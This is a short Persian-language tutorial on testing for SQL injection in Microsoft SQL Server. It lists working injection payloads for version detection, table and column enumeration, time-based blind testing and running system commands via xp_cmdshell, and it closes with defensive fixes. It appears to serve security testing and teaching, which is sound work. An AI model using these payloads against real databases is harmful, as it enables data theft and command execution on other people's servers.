تست SQL Server Injection

SQL Server Injection

Microsoft SQL Server پایگاه داده مایکروسافت است که از T-SQL استفاده می‌کند. ویژگی‌های خاص SQL Server مثل xp_cmdshell، sysobjects و STACKED QUERIES تکنیک‌های خاصی نیاز دارند.

ویژگی‌های خاص SQL Server

• T-SQL زبان SQL اختصاصی
• xp_cmdshell برای اجرای دستورات سیستمی
• sysobjects برای metadata
• STACKED QUERIES پشتیبانی می‌شود
• WAITFOR DELAY برای time-based blind

payload‌های مخصوص SQL Server

1-- شناسایی نسخه
2' UNION SELECT @@version --
3
4-- لیست جداول
5' UNION SELECT table_name FROM information_schema.tables --
6
7-- لیست ستون‌ها
8' UNION SELECT column_name FROM information_schema.columns WHERE table_name='users' --
9
10-- تست time-based
11'; WAITFOR DELAY '0:0:5' --
12
13-- اجرای دستور سیستمی
14'; EXEC xp_cmdshell 'whoami' --

سیستم جداول مهم SQL Server

راه‌حل

• استفاده از Prepared Statements
• غیرفعال کردن xp_cmdshell
• محدود کردن دسترسی کاربر پایگاه داده
• لاگ‌برداری از query‌های مشکوک